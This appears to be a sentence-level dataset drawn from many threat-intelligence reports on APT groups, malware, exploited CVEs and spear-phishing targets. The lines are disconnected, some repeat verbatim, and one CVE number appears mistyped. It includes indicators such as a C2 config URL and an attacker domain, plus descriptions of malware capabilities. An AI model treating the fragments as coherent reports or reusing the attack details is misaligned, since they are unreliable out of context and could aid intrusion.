Rapid7 reviewed malware discovered in the victim’s environment and found implants that used Dropbox as the C2 .
The analyzed RTF files share the same object dimension (objw2180\objh300) used to track the RTF weaponizer in our previous report , however , the sample was not exploiting CVE-2017-11882 or CVE-2018-0802 .
After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft ’s Equation Editor ( EQNEDT32 ) .
Anomali Researchers were able to identify multiple samples of malicious RTF documents ITW using the same exploit for CVE-2018-0798 .
The earliest use of the exploit ITW we were able to identify and confirm is a sample (e228045ef57fb8cc1226b62ada7eee9b) dating back to October 2018 (VirusTotal submission of 2018-10-29) with the RTF creation time 2018-10-23 .
Upon decrypting and executing , it drops two additional files wsc_proxy.exe” (legitimate Avast executable) and a malicious DLL wsc.dll” in the %TEMP% folder .
However , Beginning on 25 June 2019 , we started observing multiple commodity campaigns Mostly dropping AsyncRAT using the updated RTF weaponizer with the same exploit ( CVE-2018-0798 ) .
In addition , a current ANY.RUN playback of our observed Elise infection is also available .
Upon opening of the MS Word document , our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control .
Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , 'EQNEDT32.exe' , scores high for potentially malicious activity .
The well-crafted and socially engineered malicious documents then become the first stage of a long and mainly fileless infection chain that eventually delivers POWERSTATS , a signature PowerShell backdoor of this threat group .
This powerful backdoor can receive commands from the attackers , enabling it to exfiltrate files from the system it is running on , execute additional scripts , delete files , and more .
If the macros in SPK KANUN DEĞİŞİKLİĞİ GİB GÖRÜŞÜ.doc” are enabled , an embedded payload is decoded and saved in the %APPDATA% directory with the name CiscoAny.exe” .
INF files have been used in the past by MuddyWater , although they were launched using Advpack.dll and not IEAdvpack.dll .
In addition , by using VBA2Graph , we were able to visualize the VBA call graph in the macros of each document .
We assume that RunPow stands for run PowerShell , ” and triggers the PowerShell code embedded inside the .dll file .
The main delivery method of this type of backdoor is spear phishing emails or spam that uses social engineering to manipulate targets into enabling malicious documents .
This includes Python scripts .
Usually , the Stageless Meterpreter has the Ext_server_stdapi.x64.dll” , Ext_server_extapi.x64.dll” , and Ext_server_espia.x64.dll” extensions .
However , Kaspersky Security Network (KSN) records also contain links that victims clicked from the Outlook web client outlook.live.com” as well as attachments arriving through the Outlook desktop application .
The JavaScript forces visiting web browsers to collect and send (via a POST request) web browser , browser version , country of origin , and IP address data to the attacker controlled server jquerycodedownload.live/check.aspx” .
we identified two methods to deliver the KerrDown downloader to targets .
The link to the final payload of KerrDown was still active during the time of analysis and hence we were able to download a copy which turned out to be a variant of Cobalt Strike Beacon .
While investigating KerrDown we found multiple RAR files containing a variant of the malware .
The dropped PE file has the distinctive file name 8.t” .
The malware was first seen packed with VMProtect; when unpacked the sample didn’t show any similarities with previously known malware .
The malware starts communicating with the C&C server by sending basic information about the infected machine .
The malware basically provides a remote CMD/PowerShell terminal for the attackers , enabling them to execute scripts/commands and receive the results via HTTP requests .
This time the document purported to be about the involvement of the Emir of Qatar in funding ISIS , which was seemingly copied from a website critical of Qatar .
The SDK , named SWAnalytics is integrated into seemingly innocent Android applications published on major 3rd party Chinese app stores such as Tencent MyApp , Wandoujia , Huawei App Store , and Xiaomi App Store .
After app installation , whenever SWAnalytics senses victims opening up infected applications or rebooting their phones , it silently uploads their entire contacts list to Hangzhou Shun Wang Technologies controlled servers .
This module monitors a wide range of device activities including application installation / remove / update , phone restart and battery charge .
It turns out that contacts data isn’t the only unusual data SWAnalytics is interested in .
With default settings , SWAnalytics will scan through an Android device’s external storage , looking for directory tencent/MobileQQ/WebViewCheck” .
From our first malicious sample encounter back in mid-September until now , we have observed 12 infected applications , the majority of which are in the system utility category .
By listing sub-folders , SWAnalytics is able to infer QQ accounts which have never been used on the device .
To make this data harvesting operation flexible , SWAnalytics equips the ability to receive and process configuration files from a remote Command-and-Control .
Whenever users reboot their device or open up Network Speed Master , SWAnalytics will fetch the latest configuration file from http[:]//mbl[.]shunwang[.]com/cfg/config[.]json” .
In order to understand SWAnalytics’ impact , we turned to public download volume data available on Chandashi , one of the app store optimization vendors specialized in Chinese mobile application markets .
According to Cheetah Mobile’s follow-up investigation , fraudulent behaviors came from two 3rd party SDKs Batmobi , Duapps integrated inside Cheetah SDK .
It is likely a new campaign or actor started using Panda Banker since in addition to the previously unseen Japanese targeting , Arbor has not seen any indicator of compromise (IOC) overlaps with previous Panda Banker campaigns .
Webinjects targeting Japan , a country we haven’t seen targeted by Panda Banker before .
Japan is no stranger to banking malware .
Based on recent reports , the country has been plagued by attacks using the Ursnif and Urlzone banking malware .
This post was our first analysis of the first Panda Banker campaign that we’ve seen to target financial institutions in Japan .
we believe the iOS malware gets installed on already compromised systems , and it is very similar to next stage SEDNIT malware we have found for Microsoft Windows’ systems .
One is called XAgent detected as IOS_XAGENT.A and the other one uses the name of a legitimate iOS game , MadCap detected as IOS_ XAGENT.B .
Madcap” is similar to the XAgent malware , but the former is focused on recording audio .
This full-blown spying framework consists of two packages named ‘Tokyo’ and ‘Yokohama’ .
Just to highlight its capabilities , TajMahal is able to steal data from a CD burnt by a victim as well as from the printer queue .
The first confirmed date when TajMahal samples were seen on a victim’s machine is August 2014 .
More details about TajMahal are available to customers of the Kaspersky Intelligence Reporting service .
The delivery of KopiLuwak in this instance is currently unknown as the MSIL dropper has only been observed by Proofpoint researchers on a public malware repository .
The earliest step in any possible attack(s) involving this variant of KopiLuwak of which Proofpoint researchers are currently aware begin with the MSIL dropper .
The basic chain of events upon execution of the MSIL dropper include dropping and executing both a PDF decoy and a Javascript (JS) dropper .
As explained in further detail below , the JS dropper ultimately installs a JS decryptor onto an infected machine that will then finally decrypt and execute the actual KopiLuwak backdoor in memory only .
As Proofpoint has not yet observed this attack in the wild it is likely that there is an additional component that leads to the execution of the MSIL payload .
The newer variant of KopiLuwak is now capable of exfiltrating files to the C&C as well as downloading files and saving them to the infected machine .
We didn’t choose to name it after a vegetable; the .NET malware developers named it Topinambour themselves .
The role of the .NET module is to deliver the known KopiLuwak JavaScript Trojan .
RocketMan!” (probably a reference to Donald Trump’s nickname for Kim Jong Un) and MiamiBeach” serve as the first beacon messages from the victim to the control server .
These could be tools to circumvent internet censorship , such as Softether VPN 4.12” and psiphon3” , or Microsoft Office activators” .
These campaign-related VPSs are located in South Africa .
The tool does all that a typical Trojan needs to accomplish: upload , download and execute files , fingerprint target systems .
The PowerShell version of the Trojan also has the ability to get screenshots .
The Trojan is quite similar to the .NET RocketMan Trojan and can handle the same commands; additionally , it includes the #screen” command to take a screenshot .
Initial reports about HIGHNOON and its variants reported publicly as Winnti dating back to at least 2013 indicated the tool was exclusive to a single group , contributing to significant conflation across multiple distinct espionage operations .
BalkanRAT enables the attacker to remotely control the compromised computer via a graphical interface , i.e. , manually; BalkanDoor enables them to remotely control the compromised computer via a command line , i.e. , possibly en masse .
Both BalkanRAT and BalkanDoor spread in Croatia , Serbia , Montenegro , and Bosnia and Herzegovina .
In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive , disguised as a RAR archive (i.e. , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 .
The backdoor can connect to any of the C&Cs from a hardcoded list – a measure to increase resilience .
The main part of the BalkanRAT malware is a copy of the Remote Utilities software for remote access .
China Chopper is a tool that allows attackers to remotely control the target system that needs to be running a web server application before it can be targeted by the tool .
China Chopper contains a remote shell ( Virtual Terminal ) function that has a first suggested command of netstat an|find ESTABLISHED .
They download and install an archive containing executables and trivially modified source code of the password-stealing tool Mimikatz Lite as GetPassword.exe .
The tool investigates the Local Security Authority Subsystem memory space in order to find , decrypt and display retrieved passwords .
The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062 , CVE-2015-1701 and CVE-2016-0099 to allow the attacker to modify other objects on the server .
The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content .
Let’s take a closer look at ITG08’s TTPs that are relevant to the campaign we investigated , starting with its spear phishing and intrusion tactics and covering information on its use of the More_eggs backdoor .
Additional capabilities of the More_eggs malware include the download and execution of files and scripts and running commands using cmd.exe .
Based on this , we believe the Rancor attackers were targeting political entities .
Other groups , such as Buhtrap , Corkow and Carbanak , were already known to target and successfully steal money from financial institutions and their customers in Russia .
Since last week , iSIGHT Partners has worked to provide details on the power outage in Ukraine to our global customers .
The attacks we attribute to Scarlet Mimic have primarily targeted Uyghur and Tibetan activists as well as those who are interested in their causes .
The most recent Scarlet Mimic attacks we have identified were conducted in 2015 and suggest the group has a significant interest in both Muslim activists and those interested in critiques of the Russian government and Russian President Vladimir Putin .
Based on analysis of the data and malware samples we have collected , Unit 42 believes the attacks described herein are the work of a group or set of cooperating groups who have a single mission , collecting information on minority groups who reside in and around northwestern China .
In the past , Scarlet Mimic has primarily targeted individuals who belong to these minority groups as well as their supporters , but we've recently found evidence to indicate the group also targets individuals working inside government anti-terrorist organizations .
Our investigation showed that these attacks were targeted , and that the threat actor sought to steal communications data of specific individuals in various countries .
CapabilitiesFormBook is a data stealer , but not a full-fledged banker .
While discussions of threats in this region often focus on " North America " generally or just the United States , nearly 100 campaigns during this period were either specifically targeted at Canadian organizations or were customized for Canadian audiences .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
In this latest incident , the group registered a fake news domain , timesofindiaa.in , on May 18 , 2016 , and then used it to send spear phishing emails to Indian government officials on the same day .
The first time this happened was at the beginning of the month , when Proofpoint researchers blew the lid off a cyber-espionage campaign named Operation Transparent Tribe , which targeted the Indian embassies in Saudi Arabia and Kazakhstan .
Back in February 2016 , Indian army officials issued a warning against the usage of three apps , WeChat , SmeshApp , and Line , fearing that these apps collected too much information if installed on smartphones used by Indian army personnel .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
In addition to these , the Animal Farm attackers used at least one unknown , mysterious malware during an operation targeting computer users in Burkina Faso .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
Researching this attack and the malware used therein led Microsoft to discover other instances of PLATINUM attacking users in India around August 2015 .
The Poseidon Group actively targets this sort of corporate environment for the theft of intellectual property and commercial information , occasionally focusing on personal information on executives .
The previous two volumes of the Microsoft Security Intelligence Report explored the activities of two such groups , code-named STRONTIUM and PLATINUM , which used previously unknown vulnerabilities and aggressive , persistent techniques to target specific individuals and institutions — often including military installations , intelligence agencies , and other government bodies .
Mark Zuckerberg , Jack Dorsey , Sundar Pichai , and Daniel Ek — the CEOs of Facebook , Twitter , Google and Spotify , respectively — have also fallen victim to the hackers , dispelling the notion that a career in software and technology exempts one from being compromised .
The group is well known : They hijacked WikiLeaks' DNS last month shortly after they took over HBO 's Twitter account ; last year , they took over Mark Zuckerberg 's Twitter and Pinterest accounts ; and they hit both BuzzFeed and TechCrunch not long after that .
OurMine is well known : They hijacked WikiLeaks' DNS last month shortly after they took over HBO 's Twitter account ; last year , they took over Mark Zuckerberg 's Twitter and Pinterest accounts ; and they hit both BuzzFeed and TechCrunch not long after that .
Probably the most high-profile attack that GandCrab was behind is a series of infections at customers of remote IT support firms in the month of February .
Further tracking of the Lazarus’s activities has enabled Kaspersky researchers to discover a new operation , active since at least November 2018 , which utilizes PowerShell to control Windows systems and Mac OS malware to target Apple customers .
Users who failed to patch their systems may find themselves mining cryptocurrency for threat actors .
Keeping in mind the sensitivity of passwords , GoCrack includes an entitlement-based system that prevents users from accessing task data unless they are the original creator or they grant additional users to the task .
The threat actor’s emails usually contain a picture or a link without a malicious payload and are sent out to a huge recipient database of up to 85 , 000 users .
The admin@338 previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
This week the experts at FireEye discovered that a group of Chinese-based hackers called admin@338 had sent multiple MH370-themed spear phishing emails , the attackers targeted government officials in Asia-Pacific , it is likely for cyber espionage purpose .
The attackers used the popular Poison Ivy RAT and WinHTTPHelper malware to compromise the computers of government officials .
The admin@338 used the popular Poison Ivy RAT and WinHTTPHelper malware to compromise the computers of government officials .
The group previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
The targets were similar to a 2015 TG-4127 campaign — individuals in Russia and the former Soviet states , current and former military and government personnel in the U.S. and Europe , individuals working in the defense and government supply chain , and authors and journalists — but also included email accounts linked to the November 2016 United States presidential election .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments , militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian government .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments and militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian government .
APT28 targets Russian rockers and dissidents Pussy Riot via spear-phishing emails .
We have reasons to believe that the operators of the APT28 network are either Russian citizens or citizens of a neighboring country that speak Russian .
Russian citizens—journalists , software developers , politicians , researchers at universities , and artists are also targeted by Pawn Storm .
In addition to focused targeting of the private sector with ties to Vietnam , APT32 has also targeted foreign governments , as well as Vietnamese dissidents and journalists since at least 2013 .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe , " which targeted dissident activity among the Vietnamese diaspora in Southeast Asia .
In 2017 , social engineering content in lures used by the actor provided evidence that they were likely used to target members of the Vietnam diaspora in Australia as well as government employees in the Philippines .
APT33 sent spear phishing emails to employees whose jobs related to the aviation industry .
APT37 targeted a research fellow , advisory member , and journalist associated with different North Korean human rights issues and strategic organizations .
The majority of APT37 activity continues to target South Korea , North Korean defectors , and organizations and individuals involved in Korean Peninsula reunification efforts .
In May 2017 , APT37 used a bank liquidation letter as a spear phishing lure against a board member of a Middle Eastern financial company .
Per the complaint , the email account watsonhenny@gmail.com was used to send LinkedIn invitations to employees of a bank later targeted by APT38 .
The APT38 uses DYEPACK to manipulate the SWIFT transaction records and hide evidence of the malicious transactions , so bank personnel are none the wiser when they review recent transactions .
APT39 's focus on the telecommunications and travel industries suggests intent to perform monitoring , tracking , or surveillance operations against specific individuals , collect proprietary or customer data for commercial or operational purposes that serve strategic requirements related to national priorities , or create additional accesses and vectors to facilitate future campaigns .
Other groups attributed to Iranian attackers , such as Rocket Kitten , have targeted Iranian individuals in the past , including anonymous proxy users , researchers , journalists , and dissidents .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
The group has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
Gallmaker 's targets are embassies of an Eastern European country .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
360 and Tuisec already identified some Gorgon Group members .
Symantec also confirmed seeing the Lazarus wiper tool in Poland at one of their customers .
This new campaign , dubbed HaoBao , resumes Lazarus ' previous phishing emails , posed as employee recruitment , but now targets Bitcoin users and global financial organizations .
Beginning in 2017 , the Lazarus group heavily targeted individuals with spear phishing emails impersonating job recruiters which contained malicious documents .
We concluded that Lazarus Group was responsible for WannaCry , a destructive attack in May that targeted Microsoft customers .
The targeting of this individual suggests the actors are interested in breaching the French Ministry of Foreign Affairs itself or gaining insights into relations between France and Taiwan .
On November 10 , 2015 , threat actors sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
On November 10 , 2015 , Lotus Blossom sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
APT threat actors , most likely nation state-sponsored , targeted a diplomat in the French Ministry of Foreign Affairs with a seemingly legitimate invitation to a technology conference in Taiwan .
Additionally , the targeting of a French diplomat based in Taipei , Taiwan aligns with previous targeting by these actors , as does the separate infrastructure .
Since at least 2014 , APT32 , also known as the OceanLotus Group , has targeted foreign corporations with investments in Vietnam , foreign governments , journalists , and Vietnamese dissidents .
APT35 typically targets U.S. and the Middle Eastern military , diplomatic and government personnel , organizations in the media , energy and defense industrial base ( DIB ) , and engineering , business services and telecommunications sectors .
COBALT GYPSY has used spearphishing to target telecommunications , government , defense , oil , and financial services organizations based in or affiliated with the MENA region , identifying individual victims through social media sites .
The Magic Hound has repeatedly used social media to identify and interact with employees at targeted organizations and then used weaponized Excel documents .
The May 2014 ' Operation Saffron Rose ' publication identifies an Iranian hacking group formerly named ' Ajax Security ' ( code-named ' Flying Kitten ' by CrowdStrike ) engaged in active spear phishing attacks on Iranian dissidents ( those attempting to circumvent government traffic monitoring ) .
An Iranian hacking group formerly named Ajax Security ( code-named ' Flying Kitten ' by CrowdStrike ) engaged in active spear phishing attacks on Iranian dissidents ( those attempting to circumvent government traffic monitoring ) .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
APT10 is known to have exfiltrated a high volume of data from multiple victims , exploiting compromised MSP networks , and those of their customers , to stealthily move this data around the world .
Targeted sectors of Molerats include governmental and diplomatic institutions , including embassies ; companies from the aerospace and defence Industries ; financial institutions ; journalists ; software developers .
It was during operator X 's network monitoring that the attackers placed Naikon proxies within the countries ' borders , to cloak and support real-time outbound connections and data Exfiltration from high-profile victim organizations .
In early May 2016 , both PROMETHIUM and NEODYMIUM started conducting attack campaigns against specific individuals in Europe .
Although most malware today either seeks monetary gain or conducts espionage for economic advantage , both of these activity groups appear to seek information about specific individuals .
Attackers using several locations in China have leveraged C&C servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil , gas , and petrochemical companies , as well as individuals and executives in Kazakhstan , Taiwan , Greece , and the United States to acquire proprietary and highly confidential information .
Attackers using several locations in China have leveraged C&C servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil , gas , and petrochemical companies , as well as individuals and executives in Kazakhstan , Taiwan , Greece , and the United States to acquire proprietary and highly confidential information .
Additionally , HELIX KITTEN actors have shown an affinity for creating thoroughly researched and structured spear-phishing messages relevant to the interests of targeted personnel .
The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East .
In late 2015 , Symantec identified suspicious activity involving a hacking tool used in a malicious manner against one of our customers .
The SWC of a Uyghur cultural website suggests intent to target the Uyghur ethnic group , a Muslim minority group primarily found in the Xinjiang region of China .
It's possible TG-3390 used a waterhole to infect data center employees .
The initial attack vector used in the attack against the data center is unclear , but researchers believe LuckyMouse possibly had conducted watering hole or phishing attacks to compromise accounts belonging to employees at the national data center .
The group , believed to be based in China , has also targeted defense contractors , colleges and universities , law firms , and political organizations — including organizations related to Chinese minority ethnic groups .
In all cases , based on the nature of the computers infected by Thrip , it appeared that the telecoms companies themselves and not their customers were the targets of these attacks .
Turla is a notorious group that has been targeting government officials .
Turla is a notorious group that has been targeting diplomats .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including embassies .
From February to September 2016 , WhiteBear activity was narrowly focused on embassies and consular operations around the world .
All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations .
Thus , Turla operators had access to some highly sensitive information ( such as emails sent by the German Foreign Office staff ) for almost a year .
We suspect the Kazuar tool may be linked to the Turla threat actor group ( also known as Uroburos and Snake ) , who have been reported to have compromised embassies , defense contractors , educational institutions , and research organizations across the globe .
Deepen told Threatpost the group has been operating since at least since 2008 and has targeted China and US relations experts , Defense Department entities , and geospatial groups within the federal government .
Government officials said they knew the initial attack occurred in 2011 , but are unaware of who specifically is behind the attacks .
Bahamut was first noticed when it targeted a Middle Eastern human rights activist in the first week of January 2017 .
Later that month , the same tactics and patterns were seen in attempts against an Iranian women 's activist – an individual commonly targeted by Iranian actors , such as Charming Kitten and the Sima campaign documented in our 2016 Black Hat talk .
Several times , APT5 has targeted organizations and personnel based in Southeast Asia .
Given our increased confidence that Bahamut was responsible for targeting of Qatari labor rights advocates and its focus on the foreign policy institutions other Gulf states , Bahamut 's interests are seemingly too expansive to be limited one sponsor or customer .
Barium specializes in targeting high value organizations holding sensitive data , by gathering extensive information about their employees through publicly available information and social media , using that information to fashion phishing attacks intended to trickthose employees into compromising their computers and networks .
Barium has targeted Microsoft customers both in Virginia , the United States , and around the world .
BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years .
Our research indicates that it has started targeting Japanese users .
Our experts have found that cybercriminals are actively focusing on SMBs , and giving particular attention to accountants .
Clever Kitten actors have a strong affinity for PHP server-side attacks to make access ; this is relatively unique amongst targeted attackers who often favor targeting a specific individual at a specific organization using social engineering .
Some of the exploit server paths contain modules that appear to have been designed to infect Linux computers , but we have not yet located the Linux backdoor .
Confucius targeted a particular set of individuals in South Asian countries , such as military personnel and businessmen , among others .
According to statistics , Corkow primarily targets users in Russia and the CIS , but it is worth noting that in 2014 the amount of attacks targeting the USA increased by 5 times , in comparison with 2011 .
The threat is likely targeting employees of various Palestinian government agencies , security services , Palestinian students , and those affiliated with the Fatah political party .
For example , the actors behind FrozenCell used a spoofed app called Tawjihi 2016 , which Jordanian or Palestinian students would ordinarily use during their general secondary examination .
The titles and contents of these files suggest that the actor targeted individuals affiliated with these government agencies and the Fatah political party .
Political entities in Central Asia have been targeted throughout 2018 by different actors , including IndigoZebra , Sofacy ( with Zebrocy malware ) and most recently by DustSquad ( with Octopus malware ) .
Targets included a wide array of high-profile entities , including intelligence services , military , utility providers ( telecommunications and power ) , embassies , and government institutions .
The computers of diplomats , military attachés , private assistants , secretaries to Prime Ministers , journalists and others are under the concealed control of unknown assailant (s ) .
The banking malware GozNym has legs ; only a few weeks after the hybrid Trojan was discovered , it has reportedly spread into Europe and begun plaguing banking customers in Poland with redirection attacks .
We noted in our original blog the large amount of targeting of Iranian citizens in this campaign , we observed almost one-third of all victims to be Iranian .
Since early 2013 , we have observed activity from a unique threat actor group , which we began to investigate based on increased activities against human right activists in the beginning of 2015 .
Over the course of three years of observation of campaigns targeting civil society and human rights organizations , from records of well over two hundred spearphishing and other intrusion attempts against individuals inside of Iran and in the diaspora , a narrative of persistent intrusion efforts emerges .
Over the months following the elections , the accounts of Iranians that had been compromised by the actors were then used for spreading the malware .
The Infy malware was seen targeting Iranians again in June 2015 , when it was shared with researchers after being sent to a broadcast journalist at BBC Persian with a generic introduction and a PowerPoint presentation attached titled " Nostalogy " ( sic ) .
One narrowly-targeted spearphishing from Infy was sent from the compromised account of a political activist promoting participation inside of Iran , claiming to be a set of images of a British-Iranian dual national that has been held in Evin Prison for five years on espionage charges .
As in the past , these messages have been sent accounts believed to be fake and accounts compromised by Infy , including Kurdish activists that had previously been compromised by the Flying Kitten actor group .
The Windows 10 Creators Update will bring several enhancements to Windows Defender ATP that will provide SOC personnel with options for immediate mitigation of a detected threat .
LEAD and Barium are not known for large-scale spear-phishing , so it is unlikely that SOC personnel would have to deal with multiple machines having been compromised by these groups at the same time .
While the machine is in isolation , SOC personnel can direct the infected machine to collect live investigation data , such as the DNS cache or security event logs , which they can use to verify alerts , assess the state of the intrusion , and support follow-up actions .
The samples provided were alleged to be targeting Tibetan and Chinese Pro-Democracy Activists .
They are often targeted simultaneously with other ethnic minorities and religious groups in China .
Examples as early as 2008 document malware operations against Tibetan non-governmental organizations ( NGOs ) that also targeted Falun Gong and Uyghur groups .
Unit 42 recently identified a targeted attack against an individual working for the Foreign Ministry of Uzbekistan in China .
NetTraveler has been used to target diplomats , embassies and government institutions for over a decade , and remains the tool of choice by the adversaries behind these cyber espionage campaigns .
The NetTraveler group has infected victims across multiple establishments in both the public and private sector including government institutions , embassies , the oil and gas industry , research centers , military contractors and activists .
The main point that sets Operation Groundbait apart from the other attacks is that it has mostly been targeting anti-government separatists in the self-declared Donetsk and Luhansk People 's Republics .
Although Silence 's phishing emails were also sent to bank employees in Central and Western Europe , Africa , and Asia ) .
They tried new techniques to steal from banking systems , including AWS CBR ( the Russian Central Bank 's Automated Workstation Client ) , ATMs , and card processing .
However , some phishing emails were sent to bank employees in more than 25 countries of Central and Western Europe , Africa and Asia including : Kyrgyzstan , Armenia , Georgia , Serbia , Germany , Latvia , Czech Republic , Romania , Kenya , Israel , Cyprus , Greece , Turkey , Taiwan , Malaysia , Switzerland , Vietnam , Austria , Uzbekistan , Great Britain , Hong Kong , and others .
An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims .
A preliminary analysis caught the attention of our Threat Analysis and Intelligence team as it yielded interesting data that , among other things , shows that Silence was targeting employees from financial entities , specifically in the Russian Federation and the Republic of Belarus .
While the Sima moniker could similarly originate from software labels , it is a common female Persian name and a Persian-language Word for " visage " or " appearance " .
Given its use in more advanced social engineering campaigns against women 's rights activists , the label seem particularly apt .
Samples and resource names contained the family names of prominent Iranians , and several of these individuals received the malware located in their respective folder .
For the sake of narrative we are going to focus exclusively to those samples we identified being used in attacks against Iranian civil society and diaspora .
After reviewing all the malware functionalities , we are confident in saying that the attackers look for victims who answer well-defined characteristics and believe that further stages of the attack are delivered only to those who fit the specific victim profile .
It's coincident that both 'darkhydrus' APT group name and ‘Williams’ user name in PDB path found in this Twitter user .
The 360 Intelligence Center observed four distinct campaigns against Pakistan since 2017 (link) , recently targeting Pakistani businessmen working in China .
In the latest attack , Donot group is targeting Pakistani businessman working in ChinaA previous , removed , report from another vendor claimed non-specific information about the groups' interest in Chinese universities , but that report has been removed – most likely detections were related to students’ and researchers’ scanning known collected samples and any incidents” remain unconfirmed and unknown .
The most popular targets of SneakyPastes are embassies , government entities , education , media outlets , journalists , activists , political parties or personnel , healthcare and banking .
Through our continuous monitoring of threats during 2018 , we observed a new wave of attacks by Gaza Cybergang Group1 targeting embassies and political personnel .
This could include diplomats , experts in the LOCs of interest related to the Digital Economy Task Force , or possibly even journalists .
This focus on training aligns with LYCEUM’s targeting of executives , HR staff , and IT personnel .
Despite the initial perception that the maldoc sample was intended for ICS or OT staff , LYCEUM has not demonstrated an interest in those environments .
The threat actor’s emails usually contain a picture or a link without a malicious payload and are sent out to a huge recipient database of up to 85 , 000 users .
Group-IB specialists determined that the email addresses of IT bank employees were among the recipients of these emails .
While OceanLotus’ targets are global , their operations are mostly active within the APAC region which encompasses targeting private sectors across multiple industries , foreign governments , activists , and dissidents connected to Vietnam .
The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East .
Examples as early as 2008 document malware operations against Tibetan non-governmental organizations ( NGOs ) that also targeted Falun Gong and Uyghur groups .
Based on this , we believe the Rancor attackers were targeting political entities .
Other groups , such as Buhtrap , Corkow and Carbanak , were already known to target and successfully steal money from financial institutions and their customers in Russia .
Since last week , iSIGHT Partners has worked to provide details on the power outage in Ukraine to our global customers .
The attacks we attribute to Scarlet Mimic have primarily targeted Uyghur and Tibetan activists as well as those who are interested in their causes .
The most recent Scarlet Mimic attacks we have identified were conducted in 2015 and suggest the group has a significant interest in both Muslim activists and those interested in critiques of the Russian government and Russian President Vladimir Putin .
Based on analysis of the data and malware samples we have collected , Unit 42 believes the attacks described herein are the work of a group or set of cooperating groups who have a single mission , collecting information on minority groups who reside in and around northwestern China .
In the past , Scarlet Mimic has primarily targeted individuals who belong to these minority groups as well as their supporters , but we've recently found evidence to indicate the group also targets individuals working inside government anti-terrorist organizations .
Our investigation showed that these attacks were targeted , and that the threat actor sought to steal communications data of specific individuals in various countries .
CapabilitiesFormBook is a data stealer , but not a full-fledged banker .
While discussions of threats in this region often focus on " North America " generally or just the United States , nearly 100 campaigns during this period were either specifically targeted at Canadian organizations or were customized for Canadian audiences .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
In this latest incident , the group registered a fake news domain , timesofindiaa.in , on May 18 , 2016 , and then used it to send spear phishing emails to Indian government officials on the same day .
The first time this happened was at the beginning of the month , when Proofpoint researchers blew the lid off a cyber-espionage campaign named Operation Transparent Tribe , which targeted the Indian embassies in Saudi Arabia and Kazakhstan .
Back in February 2016 , Indian army officials issued a warning against the usage of three apps , WeChat , SmeshApp , and Line , fearing that these apps collected too much information if installed on smartphones used by Indian army personnel .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
In addition to these , the Animal Farm attackers used at least one unknown , mysterious malware during an operation targeting computer users in Burkina Faso .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
Researching this attack and the malware used therein led Microsoft to discover other instances of PLATINUM attacking users in India around August 2015 .
The Poseidon Group actively targets this sort of corporate environment for the theft of intellectual property and commercial information , occasionally focusing on personal information on executives .
The previous two volumes of the Microsoft Security Intelligence Report explored the activities of two such groups , code-named STRONTIUM and PLATINUM , which used previously unknown vulnerabilities and aggressive , persistent techniques to target specific individuals and institutions — often including military installations , intelligence agencies , and other government bodies .
Mark Zuckerberg , Jack Dorsey , Sundar Pichai , and Daniel Ek — the CEOs of Facebook , Twitter , Google and Spotify , respectively — have also fallen victim to the hackers , dispelling the notion that a career in software and technology exempts one from being compromised .
The group is well known : They hijacked WikiLeaks' DNS last month shortly after they took over HBO 's Twitter account ; last year , they took over Mark Zuckerberg 's Twitter and Pinterest accounts ; and they hit both BuzzFeed and TechCrunch not long after that .
